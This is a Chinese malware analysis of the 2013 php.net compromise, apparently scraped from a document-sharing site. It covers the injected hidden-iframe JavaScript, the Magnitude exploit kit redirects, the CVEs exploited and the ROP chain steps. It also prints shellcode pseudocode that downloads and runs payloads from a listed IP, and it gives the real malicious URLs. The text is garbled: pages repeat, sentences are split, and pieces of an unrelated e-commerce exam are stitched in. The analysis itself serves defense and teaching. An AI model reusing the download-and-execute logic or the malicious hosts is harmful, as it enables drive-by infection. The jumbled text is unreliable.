前沿技术 php.net 被植入恶意代码分析核心技术部张云海关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 p

Size: px

Start display at page:

Download "前沿技术 php.net 被植入恶意代码分析核心技术部张云海关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 p"

枝察水
4 years ago
Views:

php.net 被植入恶意代码分析核心技术部张云海关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 php.net 存在下载安装恶意软 2件的行为, 将该网站标记为可疑 php.

1 php.net 被植入恶意代码分析核心技术部张云海关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 php.net 存在下载安装恶意软 2件的行为, 将该网站标记为可疑 php.net 的管理者对此进行了调查, 最终确认有两台服务器 ( 承载 static.php.net git.php.net 与 bugs.php. net) 被入侵攻击者在服务器中植入了恶意代码, 用户在访问 php.net 时自动加载攻击者准备的恶意网站, 从而在用户不知情的情况下下载安装恶意软件本文对此次事件中的恶意代码进行分析, 同时给出一些防护方面的建议 2. 恶意代码分析 2.1. 攻击入口被植入恶意代码的文件是 php.net/ 攻击者在文件末尾添加的代码如下 : 50

这段 JavaScript 脚本经过了高度的混淆, 其执行的操作如下 : 创建一个 iframe 元素设置 iframe 元素的 src 属性为 http:// url.whichusb.co.uk/stat.

2 这段 JavaScript 脚本经过了高度的混淆, 其执行的操作如下 : 创建一个 iframe 元素设置 iframe 元素的 src 属性为 url.whichusb.co.uk/stat.htm 创建一个 div 元素设置 div 元素的 style 属性 : width="10px" height="10px" overflow="hidden" position="absolute" left="-10000px" 将 iframe 元素添加为 div 元素的子节点将 div 元素添加到当前页面执行这段脚本将会在隐藏的 iframe 中加载对目标的系统环境进行探测, 探测的内容包括 : 是否安装有 Java 是否安装有 AdobeReader 屏幕的像素宽度探测的结果通过 POST 请求提交到如下 : 51

2.2. 漏洞利用漏洞利用页面的内容如图 1 所示其结构符合 Magnitude Exploit Kit 生成的漏洞利用页面的特征, 因此, 加载的两服务器根据探测的结果将浏览器重定向, 样本中浏览器会被重定向至 http://aes.

1, 如下 : 个 Applet 一个 Flash 以及一个 iframe 页面分别利用了以下漏洞 : CVE-2012-0507 Java Version 7 Update 2 及之前版本 Version 6 Update 30 及之前版本

3 2.2. 漏洞利用漏洞利用页面的内容如图 1 所示其结构符合 Magnitude Exploit Kit 生成的漏洞利用页面的特征, 因此, 加载的两服务器根据探测的结果将浏览器重定向, 样本中浏览器会被重定向至 whichdigitalphoto.co.uk/nid?1, 如下 : 个 Applet 一个 Flash 以及一个 iframe 页面分别利用了以下漏洞 : CVE Java Version 7 Update 2 及之前版本 Version 6 Update 30 及之前版本 Version 5 Update 33 及之前版本受此漏洞影响, Oracle 在 2012 年 2 月的 CPU 更新中修复了这一漏洞继续将浏览器重定至漏洞利用页面 zivvgmyrwy.3razbave.info/?695e6cca27beb62ddb0a8ea707e4ffb8=43, 如下 : CVE Java Version 7 Update 21 及之前版本 Version 6 Update 45 及之前版本 Version 5 Update 45 及之前版本受此漏洞影响,Oracle 在 2013 年 6 月的 CPU 更新中修复了这一漏洞 CVE Adobe Flash Player 之前版本之前版本受此漏洞影响,Adobe 在 2013 年 2 月的安全更新中修复了这一漏洞 CVE /MS

IE 6 至 IE 10 均受此漏洞影响, 微软在 2013 年 5 月的安全更新中修复了这一漏洞服务器会对 HTTP 请求中的 User- Agent 字段进行分析, 以确定浏览器与插件的版本, 进而判断漏洞利用是否能够成功, 仅在漏洞利用能够成功时返回漏洞利用文件样本中获取到的是 iframe 页面, 如图 2 这里利用的正是 IE 的漏洞 CVE-2013-2551/MS13-037,

4 IE 6 至 IE 10 均受此漏洞影响, 微软在 2013 年 5 月的安全更新中修复了这一漏洞服务器会对 HTTP 请求中的 User- Agent 字段进行分析, 以确定浏览器与插件的版本, 进而判断漏洞利用是否能够成功, 仅在漏洞利用能够成功时返回漏洞利用文件样本中获取到的是 iframe 页面, 如图 2 这里利用的正是 IE 的漏洞 CVE /MS13-037, 漏洞的原理 VUPEN 已经分析过, 这里不再赘述通过这一漏洞可以实现对任意地址数据的读取, 随后的利用过程如下 : 图 1 漏洞利用页面的内容. 读取 SharedUserData 偏移 0x264 从 SystemCall 地址开始逆向搜索, pop edi 处的 NtProductType 确定 ntdll.dll 的加载地址 mov eax,89h 读取 SharedUserData 偏移 0x26C 解析 ntdll.dll 的 PE 头, 确定其代码 mov eax,d2h 处的 NtMajorVersion 段的地址范围 mov eax,d7h 读取 SharedUserData 偏移 0x270 处的 NtMinorVersion gadgets : 在 ntdll.dll 的代码段中搜索以下 ROP 组装 ROP gadgets 来构造 NtProtect VirtualMemory 的参数根据 NtProductType NtMajorVersion xchg eax,esp 通过 heapspray 将 shellcode 布局 NtMinorVersion 确定 NtProtectVirtualMemory pop edx 到指定内存区域的系统调用号 inc dword ptr [esi] 调用 NtProtectVirtualMemory 将读取 SharedUserData 偏移 0x300 inc dword ptr [edi] shellcode 所在内存区域设置为可执行处的 SystemCall 地址 pop esi 跳转至 shellcode 处执行 53

shellcode 的第二部分是自解码的解码后的内容如图 4 所示对应的伪代码如下 LoadLibrar ya = Get Address ("LoadLibraryA"); G e t Te m p P a t h A = G e t A d d r e s s ("GetTempPathA"); G e t Te m p F i l e A = G e t A d d r e s s

5 shellcode 的第二部分是自解码的解码后的内容如图 4 所示对应的伪代码如下 LoadLibrar ya = Get Address ("LoadLibraryA"); G e t Te m p P a t h A = G e t A d d r e s s ("GetTempPathA"); G e t Te m p F i l e A = G e t A d d r e s s ("GetTempFileA"); WinExec = GetAddress("WinExec"); LoadLibraryA("urlmon.dll"); URLDownloadToFileA = GetAddress ("URLDownloadToFileA"); for (url in list.split(' ')) { char path[0x260]; GetTempPathA(0x260, path); char ﬁle[0x100]; GetTempFileA(path, NULL, 0, ﬁle); URLDownloadToFileA(NULL, url, ﬁle, 0, NULL); 图 2 样本中获取到的是 iframe 页面 WinExec(ﬁle, SW_SHOW); 2.3.shellcode } shellcode 的第一部分用于获取自身的地址如图 3 所示 54

图 3 shellcode 的第一部分用于获取自身的地址因此执行这段 shellcode 将下载并执行以下程序 http://144.76.192.102/?9de26ff3b66ba82b35e31bf4ea975dfe http://144.76.192.102/?90f5b9a1fbcb2e4a879001a28d7940b4 http://144.

6 图 3 shellcode 的第一部分用于获取自身的地址因此执行这段 shellcode 将下载并执行以下程序样本中实际下载成功的有 5 个程序包括两个 United States Courts Ransomware 勒索软件一个 Win32/Redyms 木马的变种一个 ZeroAccess 僵尸网络以及一个 Win32/Vawtrak 后门软件 3. 防护技术分析 3.1 漏洞利用检测此次事件中的漏洞利用通过 javascript 来完成基于特征签名进行检测的防病毒软件很难检测到这类威胁实际上在事件发生一个月后依然只有少数防病毒软件能够检测到样本中的漏洞利用图 4 shellcode 的第二部分是自解码的解码后的内容 55

10 月 24 日检测率 10 月 25 日检测率 10 月 31 日检测率恶意软件 1 1 / 47 17 / 47 29 / 47 基于静态分析的检测技术会遇到许多恶意代码有意设置的障碍, 包括 : javascript 脚本进行了高强度的混淆处理 shellcode 以 CharCode 的形式保存在脚本中自定位代码伪装成普通的函数 shellcode 进行了自解码处理

7 10 月 24 日检测率 10 月 25 日检测率 10 月 31 日检测率恶意软件 1 1 / / / 47 基于静态分析的检测技术会遇到许多恶意代码有意设置的障碍, 包括 : javascript 脚本进行了高强度的混淆处理 shellcode 以 CharCode 的形式保存在脚本中自定位代码伪装成普通的函数 shellcode 进行了自解码处理 shellcode 的解码函数会对自身进行修改这些都有可能造成基于静态分析的检测技术的误判基于虚拟执行的检测技术可以有效地检测到此次攻击中的漏洞利用恶意软件 2 4 / / / 47 恶意软件 3 2 / / / 47 恶意软件 4 1 / / / 47 恶意软件 5 2 / / / 47 图 5 用 virustotal 对样本中下载成功的 5 个恶意软件进行分析的结果一周内主要的防病毒软件都添加了相关的特征签名但是, 根据 php.net 发布的公告, 攻击者是在 10 月 22 日植入的恶意代码,php.net 在 10 月 24 日将恶意代码清除在恶意代码存在的那段时间, 只有个别的防病毒软件能够检测出这些恶意软件 4. 总结此次事件中 php.net 被植入的恶意代码没有利用新的 0day 漏 3.2 恶意软件检测用 virustotal 对样本中下载成功的 5 个恶意软件进行分析的结果如图 5 所示可以看到, 防病毒软件跟进的速度还是很快的, 在 Safe Browsing 检测到异常的第二天就有不少厂商添加了相关的特征签名, 洞, 所有利用的漏洞在 2013 年 6 月之前都有了修复的补丁, 因此, 只要及时安装操作系统与相关软件的补丁就不会受此次事件的影响从防护的角度来看, 基于特征签名的检测技术已经不足以应对新的威胁形式, 需要部署能检测到新的未知威胁的系统, 以便进行更全面的防护 56

13 根据各种网络商务信息对不同用户所产生的使用效用, 网络商务信息大致可分为四级, 其中占比重最大的是 ( A ) A 第一级免费信息 B 第二级低收费信息 C 第三级标准收费

13 根据各种网络商务信息对不同用户所产生的使用效用, 网络商务信息大致可分为四级, 其中占比重最大的是 ( A ) A 第一级免费信息 B 第二级低收费信息 C 第三级标准收费助理电子商务考试真题试题第一部分 : 理论部分一单项选择题 1 ( B ) 是信息系统的核心组成部分 A 逻辑模型 B 数据库 C 概念模型 D 以上全部 2 ping www.163.com -t 中参数 t 的作用是 :( A ) A 进行连续测试 B 在新窗口中显示 C

前沿技术 php.net 被植入恶意代码分析 核心技术部张云海 关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 p

前沿技术 php.net 被植入恶意代码分析核心技术部张云海关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 p